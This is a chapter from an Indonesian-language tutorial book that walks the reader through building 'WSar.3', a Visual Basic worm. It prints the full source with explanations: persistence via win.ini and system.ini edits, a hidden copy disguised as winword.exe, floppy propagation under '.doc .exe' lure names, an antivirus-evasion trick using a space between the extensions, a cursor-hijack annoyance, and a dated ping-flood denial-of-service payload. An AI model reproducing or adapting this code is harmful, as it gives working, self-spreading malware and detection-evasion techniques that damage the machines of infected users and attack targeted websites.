W
orm ini bernama WSar.3 (worm dasar 3). Pada worm ini penulis menambahkan trik launcher methode dengan mema-nipulasi file konfigurasi Windows (win.ini) dan memanfaat-kan array dalam pemberian nama file worm sehingga worm ini dapat membuat salinan dengan menggunakan nama yang beragam.9.1 ALGORITMA
WSar.3 memiliki rutin-rutin yang akan melakukan suatu tindakan sebagai berikut:
1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer
2. Jika worm tidak mendapatkan eksistensinya maka worm akan melakukan reproduksi dengan menciptakan salinan dirinya pada direktori System Windows dan memanipulasi file konfigurasi Windows 'win.ini’ untuk mengaktifkan worm setiap kali Windows startup
3. Setiap 1 menit berusaha untuk membuat salinan worm ke disket pada drive A dengan 10 nama file yang dipilih secara acak
4. Dampak lain yang ditimbulkan adalah setiap 30 detik akan menem-patkan posisi kursor mouse berada di sudut kiri bagian atas pada layar monitor
Bab 9. Worm WSar.3
5. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.3 Ada Pada Komputer Anda", kemudian berusaha melakukan suatu serangan Denial Of Service (DOS) pada sebuah website fiktif dengan mengirimkan paket ping dalam jumlah besar.
9.2 PEMROGRAMAN
Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, pada tab Make, atur Application Title 'WSar.3’ dan hapus value untuk setiap Type pada frame Version Information. Pilih opsi Compile to P-Code pada tab Compile, akhiri dengan menekan tombol OK.
Tambahkan 2 buah object Timer, dan I buah Module, untuk module dapat dilakukan dengan cara meng-click Project pada menubar lalu memilih opsi Add Module. Kemudian atur properti berikut untuk masing-masing Timer, Form dan Module.
Properti object Form1
Jenis Nilai Keterangan
Name frmWSar3 Mengatur nama form menjadi frmWSar3
Icon (Icon) Pilih icon yang akan digunakan pada form, WSar.3 menggunakan icon msword.ico ShowInTaskbar False Tidak menampilkan form pada taskbar Visible False Tidak menampilkan form pada layar.
Properti object Timer1
Jenis Nilai Keterangan
Name tmrWSar3 Mengatur nama Timer menjadi tmrWSar3 Enable True Pastikan Timer akan aktif saat form di-load Interval 60000 Setiap instruksi pada procedure Timer akan
Bab 9. Worm WSar.3
Properti object Timer2
Jenis Nilai Keterangan
Name tmrIseng Mengatur nama Timer menjadi tmrIseng Enable True Pastikan Timer akan aktif saat form di-load
Interval 30000 Setiap instruksi pada procedure Timer akan diek-sekusi setiap 30 detik
Properti Module1
Jenis Nilai Keterangan
Name mdlFileIni Mengatur nama module menjadi mdlFileIni
Ketik kode program berikut ini pada object mdlFileIni:
Declare Function GetPrivateProfileString Lib "kernel32" Alias _ "GetPrivateProfileStringA" (ByVal lpApplicationName As _ String, ByVal lpKeyName As String, ByVal lpDefault As String, _ ByVal lpReturnedString As String, ByVal nSize As Long, ByVal _ lpFileName As String) As Long
Declare Function WritePrivateProfileString Lib "kernel32" Alias _ "WritePrivateProfileStringA" (ByVal lpApplicationName As _ String, ByVal lpKeyName As String, ByVal lpString As Any, _ ByVal lpFileName As String) As Long
Function ReadINI(ByVal Section, ByVal KeyName, ByVal filename As String) _ As String
Dim sRet As String sRet = String(255, Chr(0))
ReadINI = Left(sRet, GetPrivateProfileString(Section, ByVal _ KeyName, "", sRet, Len(sRet), filename))
End Function
Function writeini(ByVal sSection As String, ByVal sKeyName As String, _ ByVal sNewString As String, ByVal sFileName) As Integer
Dim r
r = WritePrivateProfileString(sSection, sKeyName, sNewString, _ sFileName)
Bab 9. Worm WSar.3
Ketik kode program berikut ini pada object frmWSar3:
'WSar.3 by Achmad Darmal
'Tarakan, Kalimantan Timur - Indonesia Option Explicit On
Private Declare Function SetCursorPos Lib "user32" (ByVal x As _ Long, ByVal Y As Long) As Long
Private Sub Form_Load() On Error Resume Next Dim kiddie As Object
Dim winfolder, sysfolder As Object Dim MainFile As String
kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0)
sysfolder = kiddie.GetSpecialFolder(1) MainFile = sysfolder & "\" & "winword.exe" If App.PrevInstance = True Then End
If ReadINI("WINDOWS", "Run", winfolder & "\" & "win.ini") <> _ MainFile Then
Call InfectSystem() End If
If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me)
End If End Sub
Private Sub InfectSystem() On Error Resume Next Dim kiddie As Object
Dim winfolder, sysfolder As Object Dim MainFile As String
kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0)
sysfolder = kiddie.GetSpecialFolder(1) MainFile = sysfolder & "\" & "winword.exe" FileCopy(WormFile, MainFile)
SetAttr(MainFile, vbHidden + vbReadOnly + vbSystem)
writeini("WINDOWS", "Run", MainFile, winfolder & "\" & "win.ini") End Sub
Bab 9. Worm WSar.3 Private Sub InfectFloppy()
On Error Resume Next Dim Acak As Integer
Dim NamaCantik(10) As String
NamaCantik(0) = "ohh dambaanku.doc .exe" NamaCantik(1) = "kasihku.doc .exe" NamaCantik(2) = "rinduku.doc .exe" NamaCantik(3) = "sayangku.doc .exe" NamaCantik(4) = "pujaanku.doc .exe" NamaCantik(5) = "permata hatiku.doc .exe" NamaCantik(6) = "buah hatiku.doc .exe" NamaCantik(7) = "jantung hatiku.doc .exe" NamaCantik(8) = "ohh dompeeetku.doc .exe" NamaCantik(9) = "hehehe.doc .exe" Randomize()
Acak = Int(Rnd * 10)
If Len(Dir$("A:\*ku.doc .exe")) = 0 Then
FileCopy(WormFile, "A:\" & NamaCantik(Acak)) End If
End Sub
Private Sub tmrIseng_Timer() On Error Resume Next SetCursorPos(1, 1) End Sub
Private Sub tmrWSar3_Timer() On Error Resume Next Call InfectFloppy()
If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad()
Unload(Me) End If End Sub
Private Sub PayLoad() On Error Resume Next Dim Target As String Dim pingmore As Integer
MsgBox("WSar.3 Ada Pada Komputer Anda", vbExclamation) Target = "http://www.worm-maker.co.id"
For pingmore = 1 To 1000
Shell("ping -a -l " & Target & " 65500") Next pingmore
End Sub
Private Function WormFile() Dim WPath, WName As String WPath = App.Path
If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If
WName = App.EXEName & ".exe" WormFile = WPath & WName End Function
Bab 9. Worm WSar.3
Berikut penjelasan tentang kode program:
'WSar.3 by Achmad Darmal
'Tarakan, Kalimantan Timur - Indonesia Option Explicit On
Private Declare Function SetCursorPos Lib "user32" _ (ByVal x As Long, ByVal Y As Long) As Long
Mendeklarasikan function SetCursorPos dari library user32. Statement ini adalah salah satu dari API Function. Function SetCursorPos ini berguna untuk mengatur posisi mouse pointer pada layar monitor.
Private Sub Form_Load() On Error Resume Next Dim kiddie As Object
Dim winfolder, sysfolder As Object Dim MainFile As String
kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0)
sysfolder = kiddie.GetSpecialFolder(1) MainFile = sysfolder & "\" & "winword.exe" If App.PrevInstance = True Then End
If ReadINI("WINDOWS", "Run", winfolder & "\" & _ "win.ini") <> MainFile Then
Call InfectSystem() End If
If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me)
End If End Sub
Seperti kode program worm sebelumnya, pada procedure ini worm berusaha mendapatkan direktori Windows, kemudian berusaha mendapatkan informasi apakah worm sudah ada atau tidak pada system.
Dalam hal ini worm memeriksa isi file konfigurasi win.ini pada section Windows dan pada key Run, apabila value tidak ditujukan pada file worm yang terletak pada direktori System Windows, maka worm akan memanggil procedure InfectSystem.
Bab 9. Worm WSar.3 Private Sub InfectSystem()
On Error Resume Next Dim kiddie As Object
Dim winfolder, sysfolder As Object Dim MainFile As String
kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0)
sysfolder = kiddie.GetSpecialFolder(1) MainFile = sysfolder & "\" & "winword.exe" FileCopy(WormFile, MainFile)
SetAttr(MainFile, vbHidden + vbReadOnly + vbSystem) writeini("WINDOWS", "Run", MainFile, winfolder & "\" _ & "win.ini")
End Sub
Procedure ini berusaha mendapatkan direktori Windows dan direk-tori System Windows, kemudian membuat salinan file utama ke lokasi direktori System Windows dengan nama "winword.exe" kemudian mengatur atribut file tersebut menjadi Hidden, Read only dan System. Worm kemudian memanipulasi file konfigurasi "win.ini" pada section Windows dan key Run, serta value diatur dengan path dan nama file worm yaitu "winword.exe".
Private Sub InfectFloppy() On Error Resume Next Dim Acak As Integer
Dim NamaCantik(10) As String
NamaCantik(0) = "ohh dambaanku.doc .exe" NamaCantik(1) = "kasihku.doc .exe" NamaCantik(2) = "rinduku.doc .exe" NamaCantik(3) = "sayangku.doc .exe" NamaCantik(4) = "pujaanku.doc .exe" NamaCantik(5) = "permata hatiku.doc .exe" NamaCantik(6) = "buah hatiku.doc .exe" NamaCantik(7) = "jantung hatiku.doc .exe" NamaCantik(8) = "ohh dompeeetku.doc .exe" NamaCantik(9) = "hehehe.doc .exe" Randomize()
Acak = Int(Rnd * 10)
If Len(Dir$("A:\*ku.doc .exe")) = 0 Then
FileCopy(WormFile, "A:\" & NamaCantik(Acak)) End If
End Sub
Procedure ini akan membuat data array sebanyak 10 yang akan di-gunakan sebagai nama file. Sedikit mengdi-gunakan social engineering, nama-nama file tersebut menggunakan ekstensi ganda yaitu '.doc .exe’.
Bab 9. Worm WSar.3
Perhatikan bahwa ada spasi diantara dua ekstensi tersebut. Penulis menemukan beberapa antivirus yang akan mendeteksi file executable dengan ekstensi ganda sebagai suatu worm atau virus, namun setelah penulis menambahkan (satu atau lebih) tanda spasi diantara dua ekstensi tersebut ternyata antivirus-antivirus tersebut tidak mendetek-sinya lagi sebagai worm atau virus .
Umumnya pada Windows Explorer ekstensi file yang terdaftar pada file association tidak diperlihatkan sehingga teks ".doc" pada akhir nama file akan terlihat seolah-olah merupakan ekstensi untuk aplikasi MS Word.
Worm kemudian memeriksa disket dengan mencari file yang berakhiran "ku.doc .exe", apabila file worm tidak ditemukan maka worm akan membuat salinannya ke disket dengan salah satu nama file yang dipilih secara acak.
Satu hal yang mungkin akan terjadi adalah file worm disalin pada dis-ket sebanyak dua file yaitu "hehehe.doc .exe" dan sebuah file dengan nama acak lainnya. Hal ini terjadi karena file "hehehe.doc .exe" tidak memenuhi kriteria sebagai file yang berakhiran "ku.doc .exe".
Private Sub tmrIseng_Timer() On Error Resume Next SetCursorPos(1, 1) End Sub
Private Sub tmrWSar3_Timer() On Error Resume Next Call InfectFloppy()
If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad()
Unload(Me) End If End Sub
Procedure tmrIseng_Timer memanggil function SetCursorPos dengan nilai x = 1 dan y =1 yang berarti menempatkan posisi pointer mouse pada posisi pixel pertama pada layar. Pixel pertama bertempat di sudut kiri atas layar monitor.
Bab 9. Worm WSar.3 Private Sub PayLoad()
On Error Resume Next Dim Target As String Dim pingmore As Integer
MsgBox("WSar.3 Ada Pada Komputer Anda", _ vbExclamation)
Target = "http://www.worm-maker.co.id" For pingmore = 1 To 1000
Shell("ping -a -l " & Target & " 65500") Next pingmore
End Sub
Selain menampilkan pesan, worm ini akan melakukan serangan Denial Of Service pada website www.worm-maker.co.id yang merupakan site fiktif.
Declare Function GetPrivateProfileString Lib "kernel32" _ Alias "GetPrivateProfileStringA" (ByVal _
lpApplicationName As String, ByVal lpKeyName As _ String, ByVal lpDefault As String, ByVal _ lpReturnedString As String, ByVal nSize As Long, _ ByVal lpFileName As String) As Long
Declare Function WritePrivateProfileString Lib "kernel32" _ Alias "WritePrivateProfileStringA" (ByVal _
lpApplicationName As String, ByVal lpKeyName As _ String, ByVal lpString As Any, ByVal lpFileName As _ String) As Long
Mendeklarasikan function API GetPrivateProfileString dan WritePrivateProfileString dari library "kernel32".
Function ReadINI(ByVal Section, ByVal KeyName, ByVal filename As String) _ As String
Dim sRet As String sRet = String(255, Chr(0))
ReadINI = Left(sRet, GetPrivateProfileString(Section, _ ByVal KeyName, "", sRet, Len(sRet), filename)) End Function
Function writeini(ByVal sSection As String, ByVal sKeyName As _ String, ByVal sNewString As String, ByVal sFileName) As Integer Dim r
r = WritePrivateProfileString(sSection, sKeyName, _ sNewString, sFileName)
End Function
Kedua function tersebut, 'ReadINI’ dan 'writeini’ mengoto-matisasi penggunaan function API dari GetPrivateProfileString dan
Bab 9. Worm WSar.3
WritePrivateProfileString, dengan tujuan agar dapat digunakan den-gan lebih mudah dan sederhana.
Catatan untuk WSar.3: berikut ini adalah lokasi file konfigurasi beserta
section dan key yang akan mengeksekusi setiap value didalamnya pada saat Windows startup:
WIN.INI
Path Direktori Windows (0)
Section WINDOWS
Key 1 Run
Key 2 Load
Value WormPath
Contoh yang bisa diaplikasikan pada WSar.3
writeini "WINDOWS", "Run", MainFile, winfolder & "\" & "win.ini" writeini "WINDOWS", "Load", MainFile, winfolder & "\" & "win.ini"
SYSTEM.INI
Path Direktori Windows (0)
Section BOOT
Key Shell
Value "Explorer.exe " & WormPath
Contoh yang bisa diaplikasikan pada WSar.3
writeini "BOOT", "Shell", "Explorer.exe " & MainFile, winfolder & "\" & "system.ini"
WININIT.INI
Path Direktori Windows (0)
Section RENAME
Key Nul
Value WormPath
Contoh yang bisa diaplikasikan pada WSar.3
Bab 10 Worm WSar.4